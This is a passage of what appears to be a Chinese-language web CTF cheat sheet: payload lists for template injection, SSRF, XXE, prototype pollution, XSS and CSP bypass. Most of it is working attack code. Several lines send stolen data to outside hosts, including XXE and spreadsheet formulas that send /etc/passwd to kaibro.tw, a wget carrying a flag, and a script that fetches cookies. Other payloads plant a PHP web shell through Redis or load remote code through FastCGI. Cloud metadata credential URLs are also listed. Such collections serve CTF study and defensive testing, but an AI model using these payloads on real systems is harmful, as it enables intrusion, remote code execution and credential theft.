{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }}(by @nyancat){{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}(by @maple3142){{ $f := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $f.Read $buf }} {{ $buf }(by @Ocean)
- ACSC CTF 2023 - easyssti
- v1.6 後移除 Sandbox
- Payload
{{ 7*7 }}=> 49{{ this }}{{ this.toString() }}{{ constructor.toString() }}{{ constructor.constructor('alert(1)')() }}2.1 v1.0.1-v1.1.5{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}2.1 v1.0.1-v1.1.5{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }}2.3 v1.2.19-v1.2.23{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}v1.2.24-v1.2.29{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}v1.3.20{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}v1.4.0-v1.4.9{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}v1.5.0-v1.5.8{{ [].pop.constructor('alert(1)')() }}2.8 v1.6.0-1.6.6
{{constructor.constructor('alert(1)')()}}- https://github.com/dotboris/vuejs-serverside-template-xss
%- 輸入
%(passowrd)s即可偷到密碼:
userdata = {"user" : "kaibro", "password" : "ggininder" } passwd = raw_input("Password: ") if passwd != userdata["password"]: print ("Password " + passwd + " is wrong for user %(user)s") % userdata
- 輸入
f- python 3.6
- example
a="gg"b=f"{a} ininder">>> gg ininder
- example2
f"{os.system('ls')}"
http://blog.portswigger.net/2015/08/server-side-template-injection.html
-
Webhook
- Exmaple: https://hackerone.com/reports/56828
-
From XXE to SSRF
<!ENTITY xxe SYSTEM "http://192.168.1.1/secret">
-
PDF generator / HTML renderer
- 插 JS, Iframe, ...
- e.g.
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts>
-
Open Graph
<meta property="og:image" content="http://kaibro.tw/ssrf">
-
SQL Injection
- e.g. Oracle:
?id=1 union select 1,2,UTL_HTTP.request('http://10.0.0.1/secret') from dual
- e.g. Oracle:
-
SVG parsing
- xlink:
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg> - More payload: https://github.com/cujanovic/SSRF-Testing/tree/master/svg
- Bug Bounty Example: https://hackerone.com/reports/223203
- xlink:
-
ImageTragick
- CVE-2016-3718
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context -
HTTPoxy
- CGI 自動將 header
Proxy代入成環境變數HTTP_Proxy Proxy: http://evil.com:12345/
- CGI 自動將 header
-
XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>- FFMPEG
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌhttp://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
10.0.0.0/8172.16.0.0/12192.168.0.0/16
- port scan
127.0.0.1:80=> OK127.0.0.1:87=> Timeout127.0.0.1:9487=> Timeout
- 用來繞過 protocol 限制
- 第一次 SSRF,網站有做檢查、過濾
- 302 跳轉做第二次 SSRF 沒有檢查
-
file protocol
file:///etc/passwdfile:///proc/self/cmdline- 看他在跑啥
file:///proc/self/exe- dump binary
file:///proc/self/environ- 讀環境變數
curl file://google.com/etc/passwd- 新版已修掉
- 實測 libcurl 7.47 可work
- Java 原生可列目錄 (
netdoc亦可) - Perl/Ruby open Command Injection
-
Libreoffice CVE-2018-6871
- 可以使用
WEBSERVICE讀本地檔案,e.g./etc/passwd - 讀出來可以用 http 往外傳
=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))- e.g. DCTF 2018 final, FBCTF 2019
- Example Payload: Link
- 可以使用
- Gopher
- 可偽造任意 TCP,hen 蚌
gopher://127.0.0.1:5278/xGG%0d%0aININDER
- 常見例子
-
Struts2
- S2-016
action:、redirect:、redirectAction:index.do?redirect:${new java.lang.ProcessBuilder('id').start()}
- S2-016
-
ElasticSearch
- default port:
9200
- default port:
-
Redis
- default port:
6379 - 用 SAVE 寫 shell
FLUSHALL SET myshell "<?php system($_GET['cmd']) ?>" CONFIG SET DIR /www CONFIG SET DBFILENAME shell.php SAVE QUIT- URLencoded payload:
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT
- default port:
-
FastCGI
- default port: 9000
- example
- Discuz Pwn
- 302.php:
<?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" ); - x:
<?php system($_GET['cmd']); ?> - visit:
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
- 302.php:
- Discuz Pwn
-
MySQL
- 無密碼認證可以 SSRF
- MySQL Client 與 Server 交互主要分兩階段
- Connection Phase
- Command Phase
gopher://127.0.0.1:3306/_<PAYLOAD>- Tool: https://github.com/undefinedd/extract0r-
-
MSSQL
-
Tomcat
- 透過 tomcat manager 部署 war
- 要先有帳密,可以從
tomcat-users.xml讀,或是踹預設密碼 - Tool: https://github.com/pimps/gopher-tomcat-deployer
- e.g. CTFZone 2019 qual - Catcontrol
-
Docker
- Remote api 未授權訪問
- 開一個 container,掛載 /root/,寫 ssh key
- 寫 crontab彈 shell
docker -H tcp://ip xxxx
- Remote api 未授權訪問
-
ImageMagick - CVE-2016-3718
- 可以發送 HTTP 或 FTP request
- payload: ssrf.mvg
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context$ convert ssrf.mvg out.png
-
- http://169.254.169.254/latest/user-data
- http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
- http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
- http://169.254.169.254/latest/meta-data/ami-id
- http://169.254.169.254/latest/meta-data/reservation-id
- http://169.254.169.254/latest/meta-data/hostname
- http://169.254.169.254/latest/meta-data/public-keys/
- http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
- http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
- http://metadata.google.internal/computeMetadata/v1/
- http://metadata.google.internal/computeMetadata/v1beta1/
- 請求不用加上 header
- http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
- Access Token
- Check the scope of access token:
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX" - Call the Google api with token:
curl "https://www.googleapis.com/storage/v1/b?project=<your_project_id>" -H "Authorization: Bearer ya29..."(list buckets)
- http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
- SSH public key
- http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json
- kub-env
- http://metadata.google.internal/computeMetadata/v1beta1/project/project-id
- http://metadata.google.internal/computeMetadata/v1beta1/instance/name
- http://metadata.google.internal/computeMetadata/v1beta1/instance/hostname
- http://metadata.google.internal/computeMetadata/v1beta1/instance/zone
- http://169.254.169.254/metadata/v1.json
- http://169.254.169.254/metadata/v1/
- http://169.254.169.254/metadata/v1/id
- http://169.254.169.254/metadata/v1/user-data
- http://169.254.169.254/metadata/v1/hostname
- http://169.254.169.254/metadata/v1/region
- http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
- http://169.254.169.254/metadata/v1/maintenance
- http://169.254.169.254/metadata/instance?api-version=2020-06-01
- 需要加上
Metadata: trueheader
- 需要加上
- http://100.100.100.200/latest/meta-data/
- http://100.100.100.200/latest/meta-data/instance-id
- http://100.100.100.200/latest/meta-data/image-id
SECCON 2017 SqlSRF:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
- dict
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl version
- sftp
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh version
- Content-Length
- 送超大 Content-length
- 連線 hang 住判斷是否為 HTTP Service
- tftp
tftp://evil.com:5566/TEST- syslog
SSRF Bible:
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
Testing Payload:
https://github.com/cujanovic/SSRF-Testing
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>libxml2.9.0以後,預設不解析外部實體simplexml_load_file()舊版本中預設解析實體,但新版要指定第三個參數LIBXML_NOENTSimpleXMLElementis a class in PHP
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root><!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root><!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root><!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
]>
<root>&b;</root>xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">
- Blind 無回顯
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://kaibro.tw/?a=%file;'>">把特殊字元塞進 CDATA 解決無法讀取問題
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://kaibro.tw/cdata.dtd">
%dtd;
%all;
]>
<root>&f;</root>cdata.dtd:
<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">- Billion Laugh Attack
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data><?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>- Example: MidnightSun CTF - Rubenscube
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>- Example: Google CTF 2019 Qual - bnv
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8080/ftp.dtd">
%dtd;%ftp;%send;
]>
<ANY>xxe</ANY>ftp.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">or
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:[email protected]:2121/%file;'>">正常 OOB XXE 遇到檔案內容有 \n 會爛
但 Java 環境下,部分版本透過 FTP 不會被影響:
<7u141-b00or<8u131-b09: 不受檔案中\n的影響>jdk8u131: 能建立 FTP 連線,外帶檔案內容中含\n則拋出異常>jdk8u232: 不能建立 FTP 連線,若 url 中含有\n則抛出異常
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body><?xml version="1.0" encoding="UTF-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://kaibro.tw/file.xml"></xi:include>
</root>Read local file:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>- Document XXE
- DOCX
- XLSX
- PPTX
- https://github.com/BuffaloWill/oxml_xxe
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
# => ggininderlet o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2
o3 = {}
console.log(o3.b)
# => 2-
CVE-2019-11358
- jQuery < 3.4.0
$.extend
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode); // true
-
SNYK-JS-LODASH-608086
- versions < 4.17.17
- 觸發點:
setWith(),set() - Payload:
setWith({}, "__proto__[test]", "123")set({}, "__proto__[test2]", "456")
-
CVE-2020-8203
- versions < 4.17.16
- 觸發點:
zipObjectDeep() - Payload:
zipObjectDeep(['__proto__.z'],[123])console.log(z)=> 123
-
CVE-2019-10744
- versions < 4.17.12
- 觸發點:
defaultsDeep() - Payload:
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}} - Example:
-
CVE-2018-16487 / CVE-2018-3721
- versions < 4.17.11
- 觸發點:
merge(),mergeWith(),defaultsDeep()
var _= require('lodash'); var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; _.merge({}, JSON.parse(malicious_payload));
- 如果可以污染環境變數+Process spawning,將有機會RCE
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());({}).__proto__.NODE_OPTIONS = `--experimental-loader="data:text/javascript,console.log('injection');"`;
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());- 如果可以蓋
Object.prototype.shell,則 spawn 任意指令都可 RCE
const child_process = require('child_process');
Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};
child_process.execSync('id');-
補充:蓋環境變數的各種玩法 (https://blog.p6.is/Abusing-Environment-Variables/)
-
Example
- 低版本 gadget
- 實測 Node 15.x, 16.x, 17.x 都有機會 work
a = {}
a["__proto__"]["exports"] = {".":"./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js")-
高版本 gadget
- 控制 trySelf 的 data, path 參數可以任意 LFI
- 引入環境中的 preinstall.js 或 yarn.js 等檔案可 RCE
- v18.8.0 works
{ "__proto__":{ "data":{ "name":"./usage", "exports":"./preinstall.js" }, "path":"/opt/yarn-v1.22.19/", "shell":"sh", "contextExtensions":[ { "process":{ "env":{ "npm_config_global":"1", "npm_execpath":"" }, "execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo" } } ], } } - 控制 trySelf 的 data, path 參數可以任意 LFI
-
Example
- https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
- https://github.com/BlackFan/client-side-prototype-pollution
- https://github.com/msrkp/PPScan
- EJS RCE
outputFunctionName- 直接拼接到模板執行
- 污染即可 RCE:
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x"; - 補充: 不需要 Prototype Pollution 的 RCE (ejs render 誤用)
- 漏洞成因:
res.render('index.ejs', req.body); req.body會污染到options進而污染到outputFunctionName(HPP)- Example: AIS3 EOF 2019 Quals - echo
- 漏洞成因:
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
- https://tinyxss.terjanq.me/
- Tiny XSS Payload
<script>alert(1)</script><svg/onload=alert(1)><img src=# onerror=alert(1)><a href="javascript:alert(1)">g</a><input type="text" value="g" onmouseover="alert(1)" /><iframe src="javascript:alert(1)"></iframe>- ...
<script>alert(1)</script>'"><script>alert(1)</script><img/src=@ onerror=alert(1)/>'"><img/src=@ onerror=alert(1)/>' onmouseover=alert(1) x='" onmouseover=alert(1) x="`onmouseover=alert(1) x=`javascript:alert(1)//- ....
//(javascript 註解) 被過濾時,可以利用算數運算符代替<a href="javascript:alert(1)-abcde">xss</a>
- HTML 特性
- 不分大小寫
<ScRipT><img SrC=#>
- 屬性值
src="#"src='#'src=#src=`#`(IE)
- 不分大小寫
- 編碼繞過
<svg/onload=alert(1)><svg/onload=alert(1)>(16進位) (分號可去掉)
- 繞空白
<img/src='1'/onerror=alert(0)>
- 繞限制字元
<script>onerror=alert;throw 1</script><script>{onerror=alert}throw 1</script><script>throw onerror=alert,1</script><script>throw[onerror]=[alert],1</script><script>var{a:onerror}={a:alert};throw 1</script><script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script><script>new FunctionX${document.location.hash.substr1}</script>
-
特殊標籤
- 以下標籤中的腳本無法執行
<title>,<textarea>,<iframe>,<plaintext>,<noscript>...
-
innerHTML
<script>不會被 trigger- 其他標籤可,例如:
<img src=@ onerror=alert()> - double
<svg>trick<svg><svg onload=alert()>- 透過 innerHTML 插入時,會立即被觸發
- Example
-
Protocol
- javascript:
<a href=javascript:alert(1) >xss</a><iframe src="javascript:alert(1)">- with new line:
<a href="javascript://%0aalert(1)">XSS</a> - assignable protocol with location:
<script>location.protocol='javascript'</script>- Example: portswigger cheatsheet
- data:
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>
- javascript:
-
Javascript 自解碼機制
<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />- 會成功
alert(1),因為 javascript 位於 HTML 中,在執行 javascript 前會先解碼 HTML 編碼 - 但若是包在
<script>中的 javascript,不會解碼 HTML 編碼 - 此編碼為 HTML entity 和
&#xH;(hex),&#D;(dec) 形式
-
Javascript 中有三套編碼/解碼函數
- escape/unescape
- encodeURI/decodeURI
- encodeURIComponent/decodeURICompinent
-
一些
alert(document.domain)的方法(alert)(document.domain);al\u0065rt(document.domain);al\u{65}rt(document.domain);[document.domain].map(alert);window['alert'](document.domain);alert.call(null,document.domain);alert.bind()(document.domain);- https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309
-
Some Payload
<svg/onload=alert(1);alert(2)><svg/onload="alert(1);alert(2)"><svg/onload="alert(1);alert(2)">;;改成;會失敗- 雙引號可去掉
- 可10進位, 16進位混合
<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>\u形式只能用在 javascript,例如onload的a改成\u0061會失敗
<title><a href="</title><svg/onload=alert(1)>- title 優先權較大,直接中斷其他標籤
<svg><script>prompt(1)</script>- 因為
<svg>,HTML Entities 會被解析 - 去掉
<svg>會失敗,<script>不會解析Entities
- 因為
<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>"><% foo="><script>alert(1)</script>">
-
Markdown XSS
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)- ...
-
SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>- iframe srcdoc XSS
<iframe srcdoc="<svg/onload=alert(document.domain)>">- Polyglot XSS
- Example: PlaidCTF 2018 wave XSS
- 上傳
.wave檔 (會檢查 signatures)RIFF`....WAVE...` alert(1); function RIFF(){}- 變成合法的 js 語法
- wave在apache mime type 中沒有被定義
<script src="uploads/this_file.wave">
- Text fragment
:~:text=xxx- New feature in Chrome 80
- Chrome will scroll to and highlight the first instance of that text fragment
- Example
https://csp-evaluator.withgoogle.com/
-
base
- 改變資源載入的域,引入惡意的 js
<base href ="http://kaibro.tw/">- RCTF 2018 - rBlog
-
script nonce
<p>可控內容<p> <script src="xxx" nonce="AAAAAAAAAAA"></script>插入
<script src="http//kaibro.tw/uccu.js" a="<p><script src="http//kaibro.tw/uccu.js" a="<p> <script src="xxx" nonce="AAAAAAAAAAA"></script> -
Script Gadget
- https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
- is an existing JS code on the page that may be used to bypass mitigations
- Bypassing CSP strict-dynamic via Bootstrap
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>
- Bypassing sanitizers via jQuery Mobile
<div data-role=popup id='--><script>alert(1)</script>'></div>
- Bypassing NoScript via Closure (DOM clobbering)
<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>
- Bypassing ModSecurity CRS via Dojo Toolkit
<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">
- Bypassing CSP unsafe-eval via underscore templates
<div type=underscore/template> <% alert(1) %> </div>
- 0CTF 2018 - h4xors.club2
-
google analytics ea
- ea is used to log actions and can contain arbitrary string
- Google CTF 2018 - gcalc2
-
known jsonp endpoint
- Google:
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1
- JSONBee
- Google:
-
PHP Warnings
- In PHP, when you return any body data before
header()is called, the call will be ignored because the response was already sent to the user and headers must be sent first. - Parameters Limit
$_GET/$_POST: maximum 1000 parameters- A request containing more than 1000 GET parameters, a warning will be sent, and the CSP header won't
- Buffering
- PHP is known for buffering the response to 4096 bytes by default
- ref:
- In PHP, when you return any body data before
-
DNS prefetch
<link rel="dns-prefetch" href="https://data.example.com">
-
WebRTC
- 嚴格 CSP,可以透過該方法將資料外傳
- 例如:
default-src 'none'; script-src 'unsafe-inline';
- 例如:
- WebRTC bypass CSP connect-src policies
async function a(){ c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]} (p=new RTCPeerConnection(c)).createDataChannel("d") await p.setLocalDescription() } a();
- 嚴格 CSP,可以透過該方法將資料外傳
-
Tool
- htm
- html
- svg
- xml
- xsl
- rdf
- firefox only?
text/rdf/application/rdf+xml
- vtt
- IE/Edge only?
text/vtt
- shtml
- xhtml
- mht / mhtml
- var
- HITCON CTF 2020 - oStyle
- 預設安裝 Apache 包含 mod_negotiation 模組,可以設置 Response 中的
Content-*屬性
Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
- XSS
- https://github.com/BlackFan/content-type-research/blob/master/XSS.md
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/xsl
- application/vnd.wap.xhtml+xml
- multipart/x-mixed-replace
- text/rdf
- application/rdf+xml
- application/mathml+xml
- text/vtt
- text/cache-manifest
$.getJSON/$.ajaxXSS- 當 URL 長得像
http://kaibro.tw/x.php?callback=anything - 會自動判斷成 jsonp callback,然後以 javascript 執行
- Example: VolgaCTF 2020 Qualifier - User Center
- 當 URL 長得像
- http://utf-8.jp/public/aaencode.html
- https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html
- http://example.com/a%2findex.php
- 瀏覽器會把
a%2findex.php當成一個檔案 - Web Server 則會正常解析成
a/index.php - 所以當使用相對路徑載入 css 時,就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
- 如果該檔案內容可控,則有機會 XSS
- 舉例:
/test.php中有<link href="1/" ...>- 另有
/1/index.php給?query=參數,會直接輸出該參數內容 - 訪問
/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php就會讓背景變紅色- Server:
/test.php - Browser:
/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php- CSS 會載入
/1/?query={}*{background-color:red}/../../1/
- CSS 會載入
- CSS 語法容錯率很高
- Server:
- 瀏覽器會把
- CSS 可控時,可以Leak Information
- Example:
- leak
<input type='hidden' name='csrf' value='2e3d04bf...'> input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}- ...
- SECCON CTF 2018 - GhostKingdom
- leak
- Cross-Site Browser Side channel attack
- xsleaks wiki
- 不同狀態有不同數量的 frame
- 用
window.frames.length來判斷- 狀態A => frame count = x
- 狀態B => frame count = y
- x != y
- e.g. Facebook CTF - Secret Note Keeper
- 找到結果 => frame count >= 1
- 沒找到 => frame count = 0
- 不同狀態有不同回應時間
- Time(有結果) > Time(沒結果)
- 有結果時,會需要載入比較多東西
- iframe正常訪問,會觸發一次onload事件
- 在iframe.src尾,加上
#做請求,正常不會再觸發onload事件 - 但如果原本頁面被filter block,則會有第二次onload
- 第二次請求變成
chrome-error://chromewebdata/#
- 第二次請求變成
- 可以判斷頁面狀態
- 正常 => 1次onload
- 被Blocked => 2次onload
- 也能用
history.length判斷 - e.g. 35C3 - filemanager
- 清空目標 Cache
- 送 POST 請求
- 查詢內容
<link rel=prerender href="victim.com">
- 檢查是否 Cache 該內容
- Referrer 設超長,然後訪問該資源
- 有 cache => 顯示資源
- 沒 cache => 抓不到資源
<form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>id屬性被當成全域變數name屬性被當成document屬性
- 覆蓋原生函數
<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>這裡第一個 script block 因為錯誤被跳過,第二個 script block 依舊會執行 (常拿來繞檢查)
-
toString 問題
<form id=test1><input name=test2></form> <script> alert(test1.test2); // "[object HTMLInputElement]" </script>
<a>的href可以解決 toString 問題:<a id=test1 href=http://kaibro.tw>alert(test1);=>http://kaibro.tw
<form id=test1><a name=test2 href=http://kaibro.tw></form>依舊有問題alert(test1.test2);=>undefined- 解法見下面 HTMLCollection
- HTMLCollection
<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>name 屬性也會直接變成 HTMLCollection 的屬性:
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>- 可以將隱藏、獨立的 DOM 附加到元素上
- 透過
Element.attachShadow()可以將一個 Shadow root 附加到一個元素上- 參數可以帶
